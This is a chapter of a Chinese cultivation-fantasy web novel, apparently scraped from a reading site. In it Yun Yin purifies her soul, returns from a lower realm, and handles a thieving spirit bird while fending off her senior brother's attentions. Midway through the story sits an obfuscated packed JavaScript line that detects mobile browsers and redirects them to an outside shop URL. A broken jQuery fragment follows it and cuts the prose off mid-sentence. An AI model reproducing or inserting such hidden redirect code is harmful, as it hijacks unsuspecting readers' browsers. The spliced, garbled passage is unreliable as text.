附着在云引神魂的最后一层戾气,正撕扯、剥离……为金昙所吸收。她将神魂全部转移至分身,本体只保留灵智,只为此刻。
下级修真界与云引所在修真界天道法则不同,对她来说,非绝对约束,有隙可乘。戾气全部剥离后,不会再生,神魂彻底回归纯净。待分身重回本体,原世界的天道亦无可奈何。
祝无眠的心脏依然在金昙之上跳动着,肉身却处在油尽灯枯与苟延残喘的临界点,饱受被金昙疯狂汲取养分却不可断气的折磨。
他的身体迅速干瘪,两眼上翻,发丝变得灰白干枯……元婴溃散的下一刻,金丹破碎,很快……道基彻底崩塌……
金昙将戾气吸取得一干二净后,云引利落断开祝无眠心脏与之连接,将千疮百孔的心脏,送回祝无眠身体。
已是骨瘦如柴、形同干尸的祝无眠,蜷缩在地,不时抽搐着。
寻至此处的聂岚得见此幕,亦是久久未能言语。
直到金昙因承载过多戾气,难以转化,又失去养分供给……
“砰——”的一声巨响,瞬间化为齑粉。
聂岚方才如梦初醒。
因与数十名长老缠斗,聂岚的面纱早已不知落在何处,展露憔悴的面容,眼底泛红:
“已经……结束了?”
“结束了。”云引答道,“这一次,我做到给这东西留了口气,任凭大家处置。”
叶非酩垂眸,以折扇悄无声息挥散落在云引周围的金昙粉末。
聂岚走向他们,瞟过地上的祝无眠,情绪略显激动:
“我会和大家好好商量如何处置这畜生的。金昙门余下十几名长老见大势已去,已逃离此处。有不少姐妹已去围剿,想必……纵然追至天涯海角,亦不会有漏网之鱼。”
“那便好,我也要离开这里了。”云引说道,“收好问心镜,待你修为突破此处桎梏,另有大用。”
云引发现,聂岚并未使用她留在镜中的剑气,虽受了不少伤,却无一伤及性命。以聂岚的资质,绝不会困于此方天地。而问心镜,正是脱离此处的关键之一。
聂岚沉默片刻,随即微微一笑:“我知道了。二位,珍重。”
云引和叶非酩的身影转瞬消失。聂岚看向地上面目全非的祝无眠,目光乍冷……
回归本体后,云引于静室内睁开双眼,顿感身体轻松不少。反观叶非酩,境界虽自下级修真界的元婴圆满升至化神后期,可对于此处的他而言……实则是又跌境了。
“经此一行,你又跌境了。”云引开口。
叶非酩笑道:“你在关心我?”
“对,我想知道原因。”云引直言。
叶非酩反倒顿了顿,神色微敛:“真人在意这个做什么?”
“不必再叫我真人,”云引轻叹,“我现在的修为也算不上真人,唤我名字便可。”
叶非酩看着将修为压制在筑基初期的云引,扯起一抹笑意:
“谦虚了……小引?”
云引还想说些什么,二人神识同时察觉峰主殿外的骚乱。于是撤去结界,走出峰主殿。
人群前方,百里桑见到云引出关,目中喜色难抑。
“师妹,你随叶峰主闭关三年,已是筑基了,恭喜。”
云引记得在临天宗时,十岁便筑基,师兄亦有道贺,却不似今日这般一副喜出望外的模样。
她还注意到……百里桑身边还有一只与其气场格格不入的灵兽——
灵兽高约十尺,长腿长颈,扁扁的脑袋上长着一对黑溜溜的眼睛,浑身羽毛油亮而蓬松。脖颈处套有一枚御兽环。
“你的灵兽意外跑出云衍峰,我帮你将它带回来了。至于如何处置……”
云引亦是察觉百里桑身后的千流宗弟子个个面色不善,眼含怒意。
百里桑继续道:“它盗取不少人财物,还需你来决断。”
若非血契感应,云引当真不想承认这呆头呆脑的大雀……是来自天河秘境的那颗灵兽蛋。
并且,她这才发现,自己的储物袋竟也空了大半……这颗鬼蛋,就是故意趁她闭关后破壳……
不过,云引依旧疑惑,询问百里桑:“百里代宗主如何断定,这……是我的灵兽?”
百里桑自储物戒中取出千幻绵云,还与云引:
“它踏着你的飞云四处乱飞……而且这灵兽本身,跑起来亦如疾风,捉它,我也花了些功夫。”
云引沉默。原来,这来自鬼界的大雀还不会飞,却能驱使自己的法器到处作乱。
“此事,我会向大家……”她正要认下此事。
“此为我的灵兽。”叶非酩忽而开口,“它叫……”
叶非酩说着,看向云引。
见其先一步当众认下灵兽,云引不愿再节外生枝,随口道:“阿飞。”
“对,为师想起来了。”叶非酩笑道,“这阿飞犯下盗窃之罪,自该给大家一个交代。”
叶非酩挥袖,无数储物袋自阿飞双翅下飞出,纷纷物归原主。
有人查看储物袋后,当即出声:“我的丹药都不见了!”
百里桑转向众人:“各位少了什么,可同我……”
叶非酩上前:“少了丹药的,可寻骆清去取,他新研制出各式味道的辟谷丹,正愁无人尝试,可额外赠与每人一颗,若是……”
“对对!”赶来的骆清两眼发亮,立刻向众人承诺,“大家缺了什么丹药,便来我这里补回,顺便来尝尝我新炼制的辟谷丹,若觉得好,一瓶只要五十中品灵石,权当云衍峰为大家赔罪了。”
“骆师兄炼的丹,平日少说也得上百上品灵石……我们这算因祸得福了?”有人怒气已消大半。
有人依旧眉头紧锁:“可我这件法器……”
“若有法器损坏,找我修补。”同时赶到的纪怀双声音清亮。
“呵……”有人冷哼道,“百里代宗主都证实,是云师妹的灵兽闯下的祸事,这倒好,整个云衍峰都袒护她一个。这云师妹向来跋扈,以后还不知还能干出什么更惊天动地的事儿。”
“连百里代宗主都将她当做云引真人,还不够惊天动地吗?”又有人对一旁之人小声道,“你没发现……她筑基了吗?这闭关三年,从主殿和叶峰主一起出来,你说……会不会是……”
不远处,周石声音冷沉:“这灵兽既出自云衍峰,其犯下的过错,我们自当一并承担。各位师弟师妹还有何不满,不妨直言。”
听到人群中的闲言碎语,百里桑亦眉间微蹙。
“若谁还不满,”云引抬手,自阿飞脚下设下一片小型束灵阵,又将其脖子上的驭兽环归还百里桑,“可从其尾部拔下一羽。它身上的羽毛,是天级材料。”
众人闻言,眼神一变。
阿飞瞬间张大又短又扁的嘴巴,呆若木鸡。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621646|204271||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
言罢,云引转身离去。
回到弟子居时,百里桑紧随而至。
云引没再躲避,直面师兄。
“你在此处,是否会不开心?”百里桑问道。
“师兄应是了解我的,我在何处都未必开心,总会执着于一些小事或毫无意义的念头,这也是我飞升失败的原因。”
听到她承认身份,百里桑又惊又喜,不由朝她走近两步:
“你随叶峰主闭关三年,是他助你觉醒了前世记忆?你若想回临天宗,我们随时都可以回去。我……我事事都依你,不会让你有半分不快,也不会让你多思多虑。”
“师兄,”云引说道,“你不必如此。目前我尚无回去的打算,亦不想身份为更多人所知。望你理解。”
百里桑沉吟道:“如今的状况……确实不宜将身份公之于众。无妨,恰逢两派联盟之事有待仔细商榷,我会在此陪着你的。”
云引无奈,转而说道:“近日我会回去一趟,取些从前之物。”
百里桑温和道:“好。师妹想何时回去?我陪你。”
“多谢师兄。”
“你我之间,何须言谢。师妹若觉得现在的称呼于人前不妥,我便如师父从前一般,唤你引儿?师妹亦唤我名字即可。”
“我还是称师兄为百里代宗主为好。”
“那私下……”
“师兄,我累了。”
百里桑微微一滞,轻声道:“是我疏忽了,你方才出关,是该休息调息。”
随即从储物戒中取出几瓶极品丹药,同时召唤出缩小至蚯蚓大小的腾蛇,
“这些有助于你稳定灵台、提升修为。苍陌跟随我多年,即将化蛟,让它跟在你身边吧。”
“苍陌是师兄的半生灵兽,”云引婉拒,“跟在我身边,不妥。况且,我有灵宠了。”
见她连丹药都未收,百里桑眸光黯淡不少。
见状,云引有些不忍:“师兄,我曾视你为楷模,亦敬你如兄长。我的道,已非昨日之道。不囚于心,不困于念,方为今日之修行。天高海阔,师兄的道途亦在远方,而非此隅。”
言毕,云引向百里桑轻施一礼,走进弟子居内。
百里桑于门前静默片刻,随后离去。
几日后,云引望着院中被圈禁在角落、脑袋埋在土里的阿飞,厉声道:
“装什么?学那鬼王故作示弱,莫非忘了他是何下场?”
阿飞翘在外面的尾部已被薅秃一块,瞧着倒是略显狼狈。
云引又检查了一遍储物袋,继续道:
“吞了那么多丹药,若只是个只会惹事,事后装死的丑鸟……倒不如剥皮拆骨,炖一锅兽汤,够全宗分一杯羹,彻底平息众怒。”
阿飞羽毛微微一颤,仍然没将脑袋拔出。
云引储物袋中的所有丹药,包含宗门大比所得那枚天级筑基丹,皆被其所食……若非早已确认自己无需丹药亦可提升修为,这阿飞就不会只是少些羽毛。
“云尹师妹,你这灵宠很特别。”
骆清与纪怀双前来探望云衍峰的新成员。
骆清望着阿飞,一脸跃跃欲试:
“根据那些被盗了储物袋的师弟师妹找我领取丹药的数量计算,它至少吃了一千三百四十二粒灵丹,却还安然无恙。如果将丹房里……”
“大师兄,”纪怀双中断骆清的话,“放弃这种想法。”